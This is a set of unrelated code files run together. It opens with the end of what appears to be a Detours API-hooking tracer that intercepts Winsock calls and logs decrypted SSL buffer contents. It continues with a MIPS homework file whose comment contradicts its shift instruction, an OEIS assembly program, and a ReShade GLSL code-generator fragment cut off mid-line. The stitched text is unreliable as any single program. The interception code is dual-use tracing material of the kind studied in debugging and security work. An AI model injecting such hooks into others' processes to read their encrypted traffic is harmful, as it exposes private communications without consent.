a5, a6, a7, a8); } __finally { _PrintExit("%p: WSARecvFrom(,,,,,,,,) -> %x\n", a0, rv); }; return rv; } BOOL WINAPI Mine_WSAResetEvent(HANDLE a0) { _PrintEnter("WSAResetEvent(%p)\n", a0); BOOL rv = 0; __try { rv = Real_WSAResetEvent(a0); } __finally { _PrintExit("WSAResetEvent() -> %x\n", rv); }; return rv; } int WINAPI Mine_WSASend(SOCKET a0, LPWSABUF a1, DWORD a2, LPDWORD a3, DWORD a4, LPWSAOVERLAPPED a5, LPWSAOVERLAPPED_COMPLETION_ROUTINE a6) { _PrintEnter("%p: WSASend(,%p,%x,%p,%x,%p,%p)\n", a0, a1, a2, a3, a4, a5, a6); int rv = 0; __try { rv = Real_WSASend(a0, a1, a2, a3, a4, a5, a6); } __finally { _PrintExit("%p: WSASend(,,,,,,) -> %x\n", a0, rv); }; return rv; } int WINAPI Mine_WSASendDisconnect(SOCKET a0, LPWSABUF a1) { _PrintEnter("%p: WSASendDisconnect(,%p)\n", a0, a1); int rv = 0; __try { rv = Real_WSASendDisconnect(a0, a1); } __finally { _PrintExit("%p: WSASendDisconnect(,) -> %x\n", a0, rv); }; return rv; } int WINAPI Mine_WSASendTo(SOCKET a0, LPWSABUF a1, DWORD a2, LPDWORD a3, DWORD a4, sockaddr* a5, int a6, LPWSAOVERLAPPED a7, LPWSAOVERLAPPED_COMPLETION_ROUTINE a8) { _PrintEnter("%p: WSASendTo(,%p,%x,%p,%x,%p,%x,%p,%p)\n", a0, a1, a2, a3, a4, a5, a6, a7, a8); int rv = 0; __try { rv = Real_WSASendTo(a0, a1, a2, a3, a4, a5, a6, a7, a8); } __finally { _PrintExit("%p: WSASendTo(,,,,,,,,) -> %x\n", a0, rv); }; return rv; } INT WINAPI Mine_WSAStringToAddressA(LPSTR a0, INT a1, LPWSAPROTOCOL_INFOA a2, LPSOCKADDR a3, LPINT a4) { _PrintEnter("WSAStringToAddressA(%p,%x,%p,%p,%p)\n", a0, a1, a2, a3, a4); INT rv = 0; __try { rv = Real_WSAStringToAddressA(a0, a1, a2, a3, a4); } __finally { _PrintExit("WSAStringToAddressA(,,,,) -> %x\n", rv); }; return rv; } INT WINAPI Mine_WSAStringToAddressW(LPWSTR a0, INT a1, LPWSAPROTOCOL_INFOW a2, LPSOCKADDR a3, LPINT a4) { _PrintEnter("WSAStringToAddressW(%p,%x,%p,%p,%p)\n", a0, a1, a2, a3, a4); INT rv = 0; __try { rv = Real_WSAStringToAddressW(a0, a1, a2, a3, a4); } __finally { _PrintExit("WSAStringToAddressW(,,,,) -> %x\n", rv); }; return rv; } DWORD WINAPI Mine_WSAWaitForMultipleEvents(DWORD a0, void** a1, BOOL a2, DWORD a3, BOOL a4) { _PrintEnter("WSAWaitForMultipleEvents(%x,%p,%x,%x,%x)\n", a0, a1, a2, a3, a4); DWORD rv = 0; __try { rv = Real_WSAWaitForMultipleEvents(a0, a1, a2, a3, a4); } __finally { _PrintExit("WSAWaitForMultipleEvents(,,,,) -> %x\n", rv); }; return rv; } SOCKET WINAPI Mine_accept(SOCKET a0, sockaddr* a1, int* a2) { SOCKET rv = 0; __try { rv = Real_accept(a0, a1, a2); } __finally { WCHAR wzAddress[512] = L""; int err = WSAGetLastError(); if (rv != INVALID_SOCKET) { DWORD nAddress = ARRAYSIZE(wzAddress); if (Real_WSAAddressToStringW(a1, *a2, NULL, wzAddress, &nAddress) != 0) { wzAddress[0] = 0; } } WSASetLastError(err); if (wzAddress[0]) { _PrintEnter("%p: accept(,%ls,%p) -> %p\n", a0, wzAddress, a2, rv); } else { _PrintEnter("%p: accept(,%p,%p) -> %p\n", a0, a1, a2, rv); } _PrintExit(NULL); }; return rv; } int WINAPI Mine_closesocket(SOCKET a0) { int rv = 0; __try { rv = Real_closesocket(a0); } __finally { _PrintEnter("%p: closesocket() -> %x\n", a0, rv); _PrintExit(NULL); }; return rv; } int WINAPI Mine_connect(SOCKET a0, sockaddr* name, int namelen) { int rv = 0; __try { rv = Real_connect(a0, name, namelen); } __finally { WCHAR wzAddress[512]; DWORD nAddress = ARRAYSIZE(wzAddress); int err = WSAGetLastError(); if (Real_WSAAddressToStringW(name, namelen, NULL, wzAddress, &nAddress) == 0) { if (rv == SOCKET_ERROR) { _PrintEnter("%p: connect(,%p:%ls,%x) -> %x [%d]\n", a0, name, wzAddress, namelen, rv, err); } else { _PrintEnter("%p: connect(,%p:%ls,%x) -> %x\n", a0, name, wzAddress, namelen, rv); } } else { if (rv == SOCKET_ERROR) { _PrintEnter("%p: connect(,%p,%x) -> %x [%d]\n", a0, name, namelen, rv, err); } else { _PrintEnter("%p: connect(,%p,%x) -> %x\n", a0, name, namelen, rv); } } WSASetLastError(err); _PrintExit(NULL); }; return rv; } int WINAPI Mine_listen(SOCKET a0, int a1) { _PrintEnter("%p: listen(,%x)\n", a0, a1); int rv = 0; __try { rv = Real_listen(a0, a1); } __finally { _PrintExit("%p: listen(,) -> %x\n", a0, rv); }; return rv; } int WINAPI Mine_recv(SOCKET a0, char* a1, int a2, int a3) { _PrintEnter("%p: recv(,%p,%x,%x)\n", a0, a1, a2, a3); int rv = 0; __try { rv = Real_recv(a0, a1, a2, a3); #if 0 _PrintDump(a0, a1, rv); #endif } __finally { _PrintExit("%p: recv(,%p,,) -> %x\n", a0, a1, rv); }; return rv; } int WINAPI Mine_recvfrom(SOCKET a0, char* a1, int a2, int a3, sockaddr* a4, int* a5) { _PrintEnter("%p: recvfrom(,%p,%x,%x,%p,%p)\n", a0, a1, a2, a3, a4, a5); int rv = 0; __try { rv = Real_recvfrom(a0, a1, a2, a3, a4, a5); #if 0 _PrintDump(a0, a1, rv); #endif } __finally { _PrintExit("%p: recvfrom(,%p,,,,) -> %x\n", a0, a1, rv); }; return rv; } VOID _PrintDump(SOCKET socket, PCHAR pszData, INT cbData) { if (pszData && cbData > 0) { CHAR szBuffer[256]; PCHAR pszBuffer = szBuffer; INT cbBuffer = 0; INT nLines = 0; while (cbData > 0) { #if ABBREVIATE if (nLines > 20) { *pszBuffer++ = '.'; *pszBuffer++ = '.'; *pszBuffer++ = '.'; cbBuffer += 3; break; } #endif if (*pszData == '\t') { *pszBuffer++ = '\\'; *pszBuffer++ = 't'; cbBuffer += 2; pszData++; cbData--; continue; } if (*pszData == '\r') { *pszBuffer++ = '\\'; *pszBuffer++ = 'r'; cbBuffer += 2; pszData++; cbData--; continue; } else if (*pszData == '\n') { *pszBuffer++ = '\\'; *pszBuffer++ = 'n'; cbBuffer += 2; *pszBuffer++ = '\0'; _Print("%p: %hs\n", socket, szBuffer); nLines++; pszBuffer = szBuffer; cbBuffer = 0; pszData++; cbData--; continue; } else if (cbBuffer >= 80) { *pszBuffer++ = '\0'; _Print("%p: %hs\n", socket, szBuffer); nLines++; pszBuffer = szBuffer; cbBuffer = 0; } if (*pszData < ' ' || *pszData >= 127) { *pszBuffer++ = '\\'; *pszBuffer++ = 'x'; *pszBuffer++ = "0123456789ABCDEF"[(*pszData & 0xf0) >> 4]; *pszBuffer++ = "0123456789ABCDEF"[(*pszData & 0x0f)]; cbBuffer += 4; } else { *pszBuffer++ = *pszData; } cbBuffer++; pszData++; cbData--; } if (cbBuffer > 0) { *pszBuffer++ = '\0'; _Print("%p: %hs\n", socket, szBuffer); } } } int WINAPI Mine_send(SOCKET a0, char* a1, int a2, int a3) { _PrintEnter("%p: send(,%p,%x,%x)\n", a0, a1, a2, a3); #if 0 _PrintDump(a0, a1, a2); #endif int rv = 0; __try { rv = Real_send(a0, a1, a2, a3); } __finally { if (rv == SOCKET_ERROR) { int err = WSAGetLastError(); _PrintExit("%p: send(,,,) -> %x (%d)\n", a0, rv, err); } else { _PrintExit("%p: send(,,,) -> %x\n", a0, rv); } }; return rv; } int WINAPI Mine_sendto(SOCKET a0, char* a1, int a2, int a3, sockaddr* a4, int a5) { _PrintEnter("%p: sendto(,%s,%x,%x,%p,%x)\n", a0, a1, a2, a3, a4, a5); int rv = 0; __try { rv = Real_sendto(a0, a1, a2, a3, a4, a5); } __finally { _PrintExit("%p: sendto(%ls,,,,,) -> %x\n", a0, a1, rv); }; return rv; } int WINAPI Mine_shutdown(SOCKET a0, int a1) { _PrintEnter("%p: shutdown(,%x)\n", a0, a1); int rv = 0; __try { rv = Real_shutdown(a0, a1); } __finally { _PrintExit("%p: shutdown(,) -> %x\n", a0, rv); }; return rv; } SECURITY_STATUS SEC_ENTRY Mine_EncryptMessage( PCtxtHandle phContext, unsigned long fQOP, PSecBufferDesc pMessage, unsigned long MessageSeqNo) { _PrintEnter("%p: EncryptMessage(%x,%x,%x)\n", phContext, fQOP, pMessage, MessageSeqNo); SECURITY_STATUS rv = 0; __try { if (pMessage != NULL) { for (unsigned b = 0; b < pMessage->cBuffers; b++) { PSecBuffer pBuffer = &pMessage->pBuffers[b]; if ((pBuffer->BufferType & 0xfff) == 1) { _Print("%p: Type=%08x Size=%d\n", phContext, pBuffer->BufferType, pBuffer->cbBuffer); _PrintDump((SOCKET)phContext, (PCHAR)pBuffer->pvBuffer, pBuffer->cbBuffer); } } } rv = Real_EncryptMessage(phContext, fQOP, pMessage, MessageSeqNo); } __finally { _PrintExit("%p: EncryptMessage(,) -> %x\n", phContext, rv); }; return rv; } SECURITY_STATUS SEC_ENTRY Mine_DecryptMessage( PCtxtHandle phContext, PSecBufferDesc pMessage, unsigned long MessageSeqNo, unsigned long * pfQOP) { _PrintEnter("%p: DecryptMessage(%x,%x,%x)\n", phContext, pMessage, MessageSeqNo, pfQOP); SECURITY_STATUS rv = 0; __try { rv = Real_DecryptMessage(phContext, pMessage, MessageSeqNo, pfQOP); for (unsigned b = 0; b < pMessage->cBuffers; b++) { PSecBuffer pBuffer = &pMessage->pBuffers[b]; if ((pBuffer->BufferType & 0xfff) == 1) { _Print("%p: Type=%08x Size=%d\n", phContext, pBuffer->BufferType, pBuffer->cbBuffer); _PrintDump((SOCKET)phContext, (PCHAR)pBuffer->pvBuffer, pBuffer->cbBuffer); } } } __finally { _PrintExit("%p: DecryptMessage(,) -> %x\n", phContext, rv); }; return rv; } ///////////////////////////////////////////////////////////// // AttachDetours // PCHAR DetRealName(PCHAR psz) { PCHAR pszBeg = psz; // Move to end of name. while (*psz) { psz++; } // Move back through A-Za-z0-9 names. while (psz > pszBeg && ((psz[-1] >= 'A' && psz[-1] <= 'Z') || (psz[-1] >= 'a' && psz[-1] <= 'z') || (psz[-1] >= '0' && psz[-1] <= '9'))) { psz--; } return psz; } VOID DetAttach(PVOID *ppbReal, PVOID pbMine, PCHAR psz) { LONG l = DetourAttach(ppbReal, pbMine); if (l != 0) { Syelog(SYELOG_SEVERITY_NOTICE, "Attach failed: `%s': error %d\n", DetRealName(psz), l); } } VOID DetDetach(PVOID *ppbReal, PVOID pbMine, PCHAR psz) { LONG l = DetourDetach(ppbReal, pbMine); if (l != 0) { Syelog(SYELOG_SEVERITY_NOTICE, "Detach failed: `%s': error %d\n", DetRealName(psz), l); } } #define ATTACH(x) DetAttach(&(PVOID&)Real_##x,Mine_##x,#x) #define DETACH(x) DetDetach(&(PVOID&)Real_##x,Mine_##x,#x) LONG AttachDetours(VOID) { DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); ATTACH(CreateProcessW); ATTACH(DecryptMessage); ATTACH(EncryptMessage); ATTACH(WSAAccept); ATTACH(WSAAddressToStringA); ATTACH(WSAAddressToStringW); ATTACH(WSAAsyncGetHostByAddr); ATTACH(WSAAsyncGetHostByName); ATTACH(WSAAsyncGetProtoByName); ATTACH(WSAAsyncGetProtoByNumber); ATTACH(WSAAsyncGetServByName); ATTACH(WSAAsyncGetServByPort); ATTACH(WSACancelAsyncRequest); ATTACH(WSACancelBlockingCall); ATTACH(WSACleanup); ATTACH(WSACloseEvent); ATTACH(WSAConnect); ATTACH(WSACreateEvent); ATTACH(WSADuplicateSocketA); ATTACH(WSADuplicateSocketW); ATTACH(WSAEnumNameSpaceProvidersA); ATTACH(WSAEnumNameSpaceProvidersW); ATTACH(WSAEnumNetworkEvents); ATTACH(WSAEnumProtocolsA); ATTACH(WSAEnumProtocolsW); ATTACH(WSAIsBlocking); ATTACH(WSAJoinLeaf); ATTACH(WSAProviderConfigChange); ATTACH(WSARecv); ATTACH(WSARecvDisconnect); ATTACH(WSARecvFrom); ATTACH(WSAResetEvent); ATTACH(WSASend); ATTACH(WSASendDisconnect); ATTACH(WSASendTo); ATTACH(WSAStringToAddressA); ATTACH(WSAStringToAddressW); ATTACH(WSAWaitForMultipleEvents); ATTACH(accept); ATTACH(closesocket); ATTACH(connect); ATTACH(listen); ATTACH(recv); ATTACH(recvfrom); ATTACH(send); ATTACH(sendto); ATTACH(shutdown); return DetourTransactionCommit(); } LONG DetachDetours(VOID) { DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DETACH(CreateProcessW); DETACH(DecryptMessage); DETACH(EncryptMessage); DETACH(WSAAccept); DETACH(WSAAddressToStringA); DETACH(WSAAddressToStringW); DETACH(WSAAsyncGetHostByAddr); DETACH(WSAAsyncGetHostByName); DETACH(WSAAsyncGetProtoByName); DETACH(WSAAsyncGetProtoByNumber); DETACH(WSAAsyncGetServByName); DETACH(WSAAsyncGetServByPort); DETACH(WSACancelAsyncRequest); DETACH(WSACancelBlockingCall); DETACH(WSACleanup); DETACH(WSACloseEvent); DETACH(WSAConnect); DETACH(WSACreateEvent); DETACH(WSADuplicateSocketA); DETACH(WSADuplicateSocketW); DETACH(WSAEnumNameSpaceProvidersA); DETACH(WSAEnumNameSpaceProvidersW); DETACH(WSAEnumNetworkEvents); DETACH(WSAEnumProtocolsA); DETACH(WSAEnumProtocolsW); DETACH(WSAIsBlocking); DETACH(WSAJoinLeaf); DETACH(WSAProviderConfigChange); DETACH(WSARecv); DETACH(WSARecvDisconnect); DETACH(WSARecvFrom); DETACH(WSAResetEvent); DETACH(WSASend); DETACH(WSASendDisconnect); DETACH(WSASendTo); DETACH(WSAStringToAddressA); DETACH(WSAStringToAddressW); DETACH(WSAWaitForMultipleEvents); DETACH(accept); DETACH(closesocket); DETACH(connect); DETACH(listen); DETACH(recv); DETACH(recvfrom); DETACH(send); DETACH(sendto); DETACH(shutdown); return DetourTransactionCommit(); } // ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////// Logging System. // static BOOL s_bLog = 1; static LONG s_nTlsIndent = -1; static LONG s_nTlsThread = -1; static LONG s_nThreadCnt = 0; VOID _PrintEnter(const CHAR *psz, ...) { DWORD dwErr = GetLastError(); LONG nIndent = 0; LONG nThread = 0; if (s_nTlsIndent >= 0) { nIndent = (LONG)(LONG_PTR)TlsGetValue(s_nTlsIndent); TlsSetValue(s_nTlsIndent, (PVOID)(LONG_PTR)(nIndent + 1)); } if (s_nTlsThread >= 0) { nThread = (LONG)(LONG_PTR)TlsGetValue(s_nTlsThread); } if (s_bLog && psz) { CHAR szBuf[1024]; PCHAR pszBuf = szBuf; PCHAR pszEnd = szBuf + ARRAYSIZE(szBuf) - 1; LONG nLen = (nIndent > 0) ? (nIndent < 35 ? nIndent * 2 : 70) : 0; *pszBuf++ = (CHAR)('0' + ((nThread / 100) % 10)); *pszBuf++ = (CHAR)('0' + ((nThread / 10) % 10)); *pszBuf++ = (CHAR)('0' + ((nThread / 1) % 10)); *pszBuf++ = ' '; while (nLen-- > 0) { *pszBuf++ = ' '; } va_list args; va_start(args, psz); while ((*pszBuf++ = *psz++) != 0 && pszBuf < pszEnd) { // Copy characters. } *pszEnd = '\0'; SyelogV(SYELOG_SEVERITY_INFORMATION, szBuf, args); va_end(args); } SetLastError(dwErr); } VOID _PrintExit(const CHAR *psz, ...) { DWORD dwErr = GetLastError(); LONG nIndent = 0; LONG nThread = 0; if (s_nTlsIndent >= 0) { nIndent = (LONG)(LONG_PTR)TlsGetValue(s_nTlsIndent) - 1; ASSERT(nIndent >= 0); TlsSetValue(s_nTlsIndent, (PVOID)(LONG_PTR)nIndent); } if (s_nTlsThread >= 0) { nThread = (LONG)(LONG_PTR)TlsGetValue(s_nTlsThread); } if (s_bLog && psz) { CHAR szBuf[1024]; PCHAR pszBuf = szBuf; PCHAR pszEnd = szBuf + ARRAYSIZE(szBuf) - 1; LONG nLen = (nIndent > 0) ? (nIndent < 35 ? nIndent * 2 : 70) : 0; *pszBuf++ = (CHAR)('0' + ((nThread / 100) % 10)); *pszBuf++ = (CHAR)('0' + ((nThread / 10) % 10)); *pszBuf++ = (CHAR)('0' + ((nThread / 1) % 10)); *pszBuf++ = ' '; while (nLen-- > 0) { *pszBuf++ = ' '; } va_list args; va_start(args, psz); while ((*pszBuf++ = *psz++) != 0 && pszBuf < pszEnd) { // Copy characters. } *pszEnd = '\0'; SyelogV(SYELOG_SEVERITY_INFORMATION, szBuf, args); va_end(args); } SetLastError(dwErr); } VOID _Print(const CHAR *psz, ...) { DWORD dwErr = GetLastError(); LONG nIndent = 0; LONG nThread = 0; if (s_nTlsIndent >= 0) { nIndent = (LONG)(LONG_PTR)TlsGetValue(s_nTlsIndent); } if (s_nTlsThread >= 0) { nThread = (LONG)(LONG_PTR)TlsGetValue(s_nTlsThread); } if (s_bLog && psz) { CHAR szBuf[1024]; PCHAR pszBuf = szBuf; PCHAR pszEnd = szBuf + ARRAYSIZE(szBuf) - 1; LONG nLen = (nIndent > 0) ? (nIndent < 35 ? nIndent * 2 : 70) : 0; *pszBuf++ = (CHAR)('0' + ((nThread / 100) % 10)); *pszBuf++ = (CHAR)('0' + ((nThread / 10) % 10)); *pszBuf++ = (CHAR)('0' + ((nThread / 1) % 10)); *pszBuf++ = ' '; while (nLen-- > 0) { *pszBuf++ = ' '; } va_list args; va_start(args, psz); while ((*pszBuf++ = *psz++) != 0 && pszBuf < pszEnd) { // Copy characters. } *pszEnd = '\0'; SyelogV(SYELOG_SEVERITY_INFORMATION, szBuf, args); va_end(args); } SetLastError(dwErr); } VOID AssertMessage(CONST PCHAR pszMsg, CONST PCHAR pszFile, ULONG nLine) { Syelog(SYELOG_SEVERITY_FATAL, "ASSERT(%s) failed in %s, line %d.\n", pszMsg, pszFile, nLine); } ////////////////////////////////////////////////////////////////////////////// // // DLL module information // BOOL ThreadAttach(HMODULE hDll) { (void)hDll; if (s_nTlsIndent >= 0) { TlsSetValue(s_nTlsIndent, (PVOID)0); } if (s_nTlsThread >= 0) { LONG nThread = InterlockedIncrement(&s_nThreadCnt); TlsSetValue(s_nTlsThread, (PVOID)(LONG_PTR)nThread); } return TRUE; } BOOL ThreadDetach(HMODULE hDll) { (void)hDll; if (s_nTlsIndent >= 0) { TlsSetValue(s_nTlsIndent, (PVOID)0); } if (s_nTlsThread >= 0) { TlsSetValue(s_nTlsThread, (PVOID)0); } return TRUE; } BOOL ProcessAttach(HMODULE hDll) { s_bLog = FALSE; s_nTlsIndent = TlsAlloc(); s_nTlsThread = TlsAlloc(); WCHAR wzExeName[MAX_PATH]; s_hInst = hDll; Real_GetModuleFileNameW(hDll, s_wzDllPath, ARRAYSIZE(s_wzDllPath)); Real_GetModuleFileNameW(NULL, wzExeName, ARRAYSIZE(wzExeName)); SyelogOpen("trcssl" DETOURS_STRINGIFY(DETOURS_BITS), SYELOG_FACILITY_APPLICATION); Syelog(SYELOG_SEVERITY_INFORMATION, "##################################################################\n"); Syelog(SYELOG_SEVERITY_INFORMATION, "### %ls\n", wzExeName); LONG error = AttachDetours(); if (error != NO_ERROR) { Syelog(SYELOG_SEVERITY_FATAL, "### Error attaching detours: %d\n", error); } ThreadAttach(hDll); s_bLog = TRUE; return TRUE; } BOOL ProcessDetach(HMODULE hDll) { ThreadDetach(hDll); s_bLog = FALSE; LONG error = DetachDetours(); if (error != NO_ERROR) { Syelog(SYELOG_SEVERITY_FATAL, "### Error detaching detours: %d\n", error); } Syelog(SYELOG_SEVERITY_NOTICE, "### Closing.\n"); SyelogClose(FALSE); if (s_nTlsIndent >= 0) { TlsFree(s_nTlsIndent); } if (s_nTlsThread >= 0) { TlsFree(s_nTlsThread); } return TRUE; } BOOL APIENTRY DllMain(HINSTANCE hModule, DWORD dwReason, PVOID lpReserved) { (void)hModule; (void)lpReserved; if (DetourIsHelperProcess()) { return TRUE; } switch (dwReason) { case DLL_PROCESS_ATTACH: DetourRestoreAfterWith(); return ProcessAttach(hModule); case DLL_PROCESS_DETACH: return ProcessDetach(hModule); case DLL_THREAD_ATTACH: return ThreadAttach(hModule); case DLL_THREAD_DETACH: return ThreadDetach(hModule); } return TRUE; } // ///////////////////////////////////////////////////////////////// End of File.
## MIPS Assignment #1 ## Ch12 3.asm ## Put 0xFFFFFFFF into register $1 .text .globl main main: ori $1, $0, 0x01 # put 0x01 into register $1 srl $1, $1, 1 # shift right logical by 4 nor $1, $1, $1 # using nor register flip $1 from 0 to 1. ## End of file
; A264889: Partial sums of hyperfactorials (A002109). ; 1,2,6,114,27762,86427762,4031164827762,3319770429936027762,55696441261496986915227762,21577941278638297470665013744027762,215779412250996503370318565758665013744027762,61564384586850833363801728392684283449726665013744027762,548914237009563146188691075538000917806660412111409534665013744027762,166252458044258567121911088183837113308810626271892579881444439576958665013744027762,1847398448553592948265131355555444721134524467737652501262180995088342687747912847742665013744027762 lpb $0 mov $2,$0 sub $0,1 add $1,2 pow $2,$2 mul $1,$2 lpe div $1,2 add $1,1 mov $0,$1
/* * Copyright (C) 2014 Patrick Mours * SPDX-License-Identifier: BSD-3-Clause */ #include "effect_parser.hpp" #include "effect_codegen.hpp" #include <cmath> // signbit, isinf, isnan #include <cstdio> // snprintf #include <cassert> #include <algorithm> // std::find_if, std::max #include <unordered_set> using namespace reshadefx; class codegen_glsl final : public codegen { public: codegen_glsl(bool vulkan_semantics, bool debug_info, bool uniforms_to_spec_constants, bool enable_16bit_types, bool flip_vert_y) : _debug_info(debug_info), _vulkan_semantics(vulkan_semantics), _uniforms_to_spec_constants(uniforms_to_spec_constants), _enable_16bit_types(enable_16bit_types), _flip_vert_y(flip_vert_y) { // Create default block and reserve a memory block to avoid frequent reallocations std::string &block = _blocks.emplace(0, std::string()).first->second; block.reserve(8192); } private: enum class naming { // After escaping, name should already be unique, so no additional steps are taken unique, // After escaping, will be numbered when clashing with another name general, // This is a special name that is not modified and should be unique reserved, // Replace name with a code snippet expression, }; std::string _ubo_block; std::string _compute_block; std::unordered_map<id, std::string> _names; std::unordered_map<id, std::string> _blocks; bool _debug_info = false; bool _vulkan_semantics = false; bool _uniforms_to_spec_constants = false; bool _enable_16bit_types = false; bool _enable_control_flow_attributes = false; bool _flip_vert_y = false; std::unordered_map<id, id> _remapped_sampler_variables; std::unordered_map<std::string, uint32_t> _semantic_to_location; // Only write compatibility intrinsics to result if they are actually in use bool _uses_fmod = false; bool _uses_componentwise_or = false; bool _uses_componentwise_and = false; bool _uses_componentwise_cond = false; void write_result(module &module) override { module = std::move(_module); if (_enable_16bit_types) // GL_NV_gpu_shader5, GL_AMD_gpu_shader_half_float or GL_EXT_shader_16bit_storage module.hlsl += "#extension GL_NV_gpu_shader5 : require\n"; if (_enable_control_flow_attributes) module.hlsl += "#extension GL_EXT_control_flow_attributes : enable\n"; if (_uses_fmod) module.hlsl += "float fmodHLSL(float x, float y) { return x - y * trunc(x / y); }\n" "vec2 fmodHLSL(vec2 x, vec2 y) { return x - y * trunc(x / y); }\n" "vec3 fmodHLSL(vec3 x, vec3 y) { return x - y * trunc(x / y); }\n" "vec4 fmodHLSL(vec4 x, vec4 y) { return x - y * trunc(x / y); }\n" "mat2 fmodHLSL(mat2 x, mat2 y) { return x - matrixCompMult(y, mat2(trunc(x[0] / y[0]), trunc(x[1] / y[1]))); }\n" "mat3 fmodHLSL(mat3 x, mat3 y) { return x - matrixCompMult(y, mat3(trunc(x[0] / y[0]), trunc(x[1] / y[1]), trunc(x[2] / y[2]))); }\n" "mat4 fmodHLSL(mat4 x, mat4 y) { return x - matrixCompMult(y, mat4(trunc(x[0] / y[0]), trunc(x[1] / y[1]), trunc(x[2] / y[2]), trunc(x[3] / y[3]))); }\n"; if (_uses_componentwise_or) module.hlsl += "bvec2 compOr(bvec2 a, bvec2 b) { return bvec2(a.x || b.x, a.y || b.y); }\n" "bvec3 compOr(bvec3 a, bvec3 b) { return bvec3(a.x || b.x, a.y || b.y, a.z || b.z); }\n" "bvec4 compOr(bvec4 a, bvec4 b) { return bvec4(a.x || b.x, a.y || b.y, a.z || b.z, a.w || b.w); }\n"; if (_uses_componentwise_and) module.hlsl += "bvec2 compAnd(bvec2 a, bvec2 b) { return bvec2(a.x && b.x, a.y && b.y); }\n" "bvec3 compAnd(bvec3 a, bvec3 b) { return bvec3(a.x && b.x, a.y && b.y, a.z && b.z); }\n" "bvec4 compAnd(bvec4 a, bvec4 b) { return bvec4(a.x && b.x, a.y && b.y, a.z && b.z, a.w && b.w); }\n"; if (_uses_componentwise_cond) module.hlsl += "vec2 compCond(bvec2 cond, vec2 a, vec2 b) { return vec2(cond.x ? a.x : b.x, cond.y ? a.y : b.y); }\n" "vec3 compCond(bvec3 cond, vec3 a, vec3 b) { return vec3(cond.x ? a.x : b.x, cond.y ? a.y : b.y, cond.z ? a.z : b.z); }\n" "vec4 compCond(bvec4 cond, vec4 a, vec4 b) { return vec4(cond.x ? a.x : b.x, cond.y ? a.y : b.y, cond.z ? a.z : b.z, cond.w ? a.w : b.w); }\n" "ivec2 compCond(bvec2 cond, ivec2 a, ivec2 b) { return ivec2(cond.x ? a.x : b.x, cond.y ? a.y : b.y); }\n" "ivec3 compCond(bvec3 cond, ivec3 a, ivec3 b) { return ivec3(cond.x ? a.x : b.x, cond.y ? a.y : b.y, cond.z ? a.z : b.z); }\n" "ivec4 compCond(bvec4 cond, ivec4 a, ivec4 b) { return ivec4(cond.x ? a.x : b.x, cond.y ? a.y : b.y, cond.z ? a.z : b.z, cond.w ? a.w : b.w); }\n" "uvec2 compCond(bvec2 cond, uvec2 a, uvec2 b) { return uvec2(cond.x ? a.x : b.x, cond.y ? a.y : b.y); }\n" "uvec3 compCond(bvec3 cond, uvec3 a, uvec3 b) { return uvec3(cond.x ? a.x : b.x, cond.y ? a.y : b.y, cond.z ? a.z : b.z); }\n" "uvec4 compCond(bvec4 cond, uvec4 a, uvec4 b) { return uvec4(cond.x ? a.x : b.x, cond.y ? a.y : b.y, cond.z ? a.z : b.z, cond.w ? a.w : b.w); }\n"; if (!_ubo_block.empty()) // Read matrices in column major layout, even though they are actually row major, to avoid transposing them on every access (since GLSL uses column matrices) // TODO: This technically only works with square matrices module.hlsl += "layout(std140, column_major, binding = 0) uniform _Globals {\n" + _ubo_block + "};\n"; module.hlsl += _blocks.at(0); } template <bool is_param = false, bool is_decl = true, bool is_interface = false> void write_type(std::string &s, const type &type) const { if constexpr (is_decl) { // Global variables are implicitly 'static' in GLSL, so the keyword does not exist if (type.has(type::q_precise)) s += "precise "; if (type.has(type::q_groupshared)) s += "shared "; } if constexpr (is_interface) { if (type.has(type::q_linear)) s += "smooth "; if (type.has(type::q_noperspective)) s += "noperspective "; if (type.has(type::q_centroid)) s += "centroid "; if (type.has(type::q_nointerpolation)) s += "flat "; } if constexpr (is_interface || is_param) { if (type.has(type::q_inout)) s += "inout "; else if (type.has(type::q_in)) s += "in "; else if (type.has(type::q_out)) s += "out "; } switch (type.base) { case type::t_void: s += "void"; break; case type::t_bool: if (type.cols > 1) s += "mat" + std::to_string(type.rows) + 'x' + std::to_string(type.cols); else if (type.rows > 1) s += "bvec" + std::to_string(type.rows); else s += "bool"; break; case type::t_min16int: if (_enable_16bit_types) { assert(type.cols == 1); if (type.rows > 1) s += "i16vec" + std::to_string(type.rows); else s += "int16_t"; break; } else if constexpr (is_decl) s += "mediump "; [[fallthrough]]; case type::t_int: if (type.cols > 1) s += "mat" + std::to_string(type.rows) + 'x' + std::to_string(type.cols); else if (type.rows > 1) s += "ivec" + std::to_string(type.rows); else s += "int"; break; case type::t_min16uint: if (_enable_16bit_types) { assert(type.cols == 1); if (type.rows > 1) s += "u16vec" + std::to_string(type.rows); else s += "uint16_t"; break; } else if constexpr (is_decl) s += "mediump "; [[fallthrough]]; case type::t_uint: if (type.cols > 1) s += "mat" + std::to_string(type.rows) + 'x' + std::to_string(type.cols); else if (type.rows > 1) s += "uvec" + std::to_string(type.rows); else s += "uint"; break; case type::t_min16float: if (_enable_16bit_types) { assert(type.cols == 1); if (type.rows > 1) s += "f16vec" + std::to_string(type.rows); else s += "float16_t"; break; } else if constexpr (is_decl) s += "mediump "; [[fallthrough]]; case type::t_float: if (type.cols > 1) s += "mat" + std::to_string(type.rows) + 'x' + std::to_string(type.cols); else if (type.rows > 1) s += "vec" + std::to_string(type.rows); else s += "float"; break; case type::t_struct: s += id_to_name(type.definition); break; case type::t_sampler: s += "sampler2D"; break; case type::t_storage: s += "writeonly image2D"; break; default: assert(false); } } void write_constant(std::string &s, const type &type, const constant &data) const { if (type.is_array()) { auto elem_type = type; elem_type.array_length = 0; write_type<false, false>(s, elem_type); s += '[' + std::to_string(type.array_length) + "]("; for (int i = 0; i < type.array_length; ++i) { write_constant(s, elem_type, i < static_cast<int>(data.array_data.size()) ? data.array_data[i] : constant()); if (i < type.array_length - 1) s += ", "; } s += ')'; return; } // There can only be numeric constants assert(type.is_numeric()); if (!type.is_scalar()) write_type<false, false>(s, type), s += '('; for (unsigned int i = 0, components = type.components(); i < components; ++i) { switch (type.base) { case type::t_bool: s += data.as_uint[i] ? "true" : "false"; break; case type::t_min16int: case type::t_int: s += std::to_string(data.as_int[i]); break; case type::t_min16uint: case type::t_uint: s += std::to_string(data.as_uint[i]) + 'u'; break; case type::t_min16float: case type::t_float: if (std::isnan(data.as_float[i])) { s += "0.0/0.0/*nan*/"; break; } if (std::isinf(data.as_float[i])) { s += std::signbit(data.as_float[i]) ? 